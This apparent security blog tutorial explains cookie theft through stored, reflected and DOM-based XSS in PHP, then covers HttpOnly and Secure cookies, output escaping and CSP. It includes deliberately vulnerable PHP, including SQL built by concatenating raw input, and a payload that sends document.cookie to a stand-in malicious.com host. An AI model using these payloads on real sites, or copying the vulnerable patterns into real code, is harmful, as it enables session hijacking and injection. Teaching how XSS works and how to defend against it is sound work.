Cookie Theft Using XSS with PHP: Technical Review
Introduction
Cross-Site Scripting (XSS) is a technique used to exploit security vulnerabilities in web applications. These vulnerabilities allow attackers to inject malicious JavaScript code into the target web page and thus steal user cookies. In this article, we will technically examine the process of cookie theft using XSS with PHP. This process will help you understand how these vulnerabilities can be exploited and how to prevent them.
XSS Types and Technical Details
- Stored XSS: This occurs when malicious code is permanently stored on the server and executed by other users. Such vulnerabilities often arise through user data stored in databases.
- Reflected XSS: This happens when malicious code is immediately processed through HTTP requests and reflected back in the response. URL parameters, form data, or HTTP headers can trigger such vulnerabilities.
- DOM-based XSS: This occurs when malicious code is executed as a result of JavaScript manipulations on the DOM. Such vulnerabilities arise when JavaScript dynamically generates content.
Cookie Theft with Stored XSS Using PHP
Stored XSS involves malicious JavaScript code being permanently stored on the server and displayed to other users. Below, we will examine in detail how such a vulnerability can be exploited using PHP.
Scenario: Profile Update
In a forum application, there is a section where users can update their profile descriptions. These descriptions are saved in the database and viewed by other users.
Profile Update Form (HTML)
<form action="update_profile.php" method="POST">
<textarea name="bio" placeholder="Write your profile description..."></textarea>
<button type="submit">Update</button>
</form>
Server Side (update_profile.php)
This PHP file adds the user's profile description to the database. However, this file adds user input to the database without properly sanitizing it.
<?php
// Database connection
$mysqli = new mysqli("localhost", "username", "password", "database");
// Connection check
if ($mysqli->connect_error) {
die("Connection error: " . $mysqli->connect_error);
}
// Get user input
$bio = $_POST['bio'];
// Add profile description to the database
$sql = "INSERT INTO profiles (bio) VALUES ('$bio')";
if ($mysqli->query($sql) === TRUE) {
echo "Profile updated!";
} else {
echo "Error: " . $sql . "<br>" . $mysqli->error;
}
$mysqli->close();
?>
Malicious Code Injection
An attacker can inject the following malicious code into the profile description:
<script>
fetch('http://malicious.com/steal?cookie=' + encodeURIComponent(document.cookie));
</script>
This code reads the cookies using document.cookie
and sends them to a malicious server. When users visit this profile, the malicious code runs and leaks the cookie information.
Cookie Theft with Reflected XSS Using PHP
Reflected XSS occurs when malicious code is immediately processed through HTTP requests. These vulnerabilities are typically triggered by URL parameters or form data.
Scenario: Search Function
A web application has a feature where users can send search queries through URL parameters.
Search Form (HTML)
<form action="search.php" method="GET">
<input type="text" name="query" placeholder="Search..." />
<button type="submit">Search</button>
</form>
Server Side (search.php)
This PHP file directly adds the search query from the URL to the HTML output. This can lead to XSS vulnerabilities.
<?php
// Get the search query from the user
$query = $_GET['query'];
// Add the search query to the HTML
echo "<h1>Search Results: " . $query . "</h1>";
?>
Malicious URL
An attacker can append the following malicious code to the URL:
http://example.com/search.php?query=<script>fetch('http://malicious.com/steal?cookie=' + encodeURIComponent(document.cookie));</script>
This URL uses document.cookie
to read cookies and send them to a malicious server.
Cookie Theft with DOM-based XSS Using PHP
DOM-based XSS involves malicious code being executed as a result of JavaScript manipulations on the DOM. Such vulnerabilities arise when JavaScript dynamically changes content on the page.
Scenario: Dynamic Content Display
A web application has a feature where users can display dynamic content by sending parameters through the URL.
JavaScript Code (index.php)
This PHP file takes the hash parameter from the URL and dynamically adds it to the HTML. However, this code processes user input directly.
<!DOCTYPE html>
<html>
<head>
<title>Dynamic Content</title>
</head>
<body>
<div id="content"></div>
<script>
// Get content from URL hash
var content = location.hash.substring(1);
document.getElementById('content').innerHTML = content;
</script>
</body>
</html>
Malicious URL
An attacker can use the following URL to inject malicious code:
http://example.com/index.php#<script>fetch('http://malicious.com/steal?cookie=' + encodeURIComponent(document.cookie));</script>
This URL uses location.hash
to send cookies to a malicious server.
Cookie Security Features
HttpOnly Flag
The HttpOnly
flag prevents cookies from being accessed by JavaScript. Cookies are only sent via HTTP requests and cannot be accessed by JavaScript.
Setting HttpOnly Cookie in PHP
<?php
// Set cookie
setcookie("session_id", "1234567890", time() + 3600, "/", "", false, true);
?>
Here, the setcookie()
function is used with the HttpOnly
flag set to true
. This means the cookie will only be sent with HTTP requests and not accessible via JavaScript.
Secure Flag
The Secure
flag ensures that cookies are only sent over HTTPS connections. This flag prevents cookies from being transmitted over insecure HTTP connections.
Setting Secure Cookie in PHP
<?php
// Set secure cookie
setcookie("session_id", "1234567890", time() + 3600, "/", "", true, true);
?>
Here, the Secure
flag is set to true
. This ensures that the cookie will only be sent over HTTPS connections.
Prevention and Mitigation
Input Sanitization and Validation
Always sanitize and validate user input before storing it in the database or rendering it on the page. Use appropriate functions and libraries to clean and validate user input.
Sanitizing Input in PHP
<?php
// Get and sanitize user input
$bio = htmlspecialchars($_POST['bio'], ENT_QUOTES, 'UTF-8');
// Add sanitized input to the database
$sql = "INSERT INTO profiles (bio) VALUES ('$bio')";
?>
The htmlspecialchars()
function converts special characters to HTML entities, preventing injection of malicious code.
Use of CSP (Content Security Policy)
Implement a strong Content Security Policy (CSP) to restrict the sources from which scripts can be loaded and executed.
Setting CSP Header
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com");
?>
This header restricts script sources to your own domain and trusted sources.
Regular Security Audits
Regularly audit your application for security vulnerabilities and update libraries and frameworks to their latest versions.
Conclusion
Understanding and mitigating XSS vulnerabilities is crucial for securing web applications. By following best practices for input sanitization, cookie security, and implementing effective security policies, you can significantly reduce the risk of cookie theft and other security issues.
Comments
Post a Comment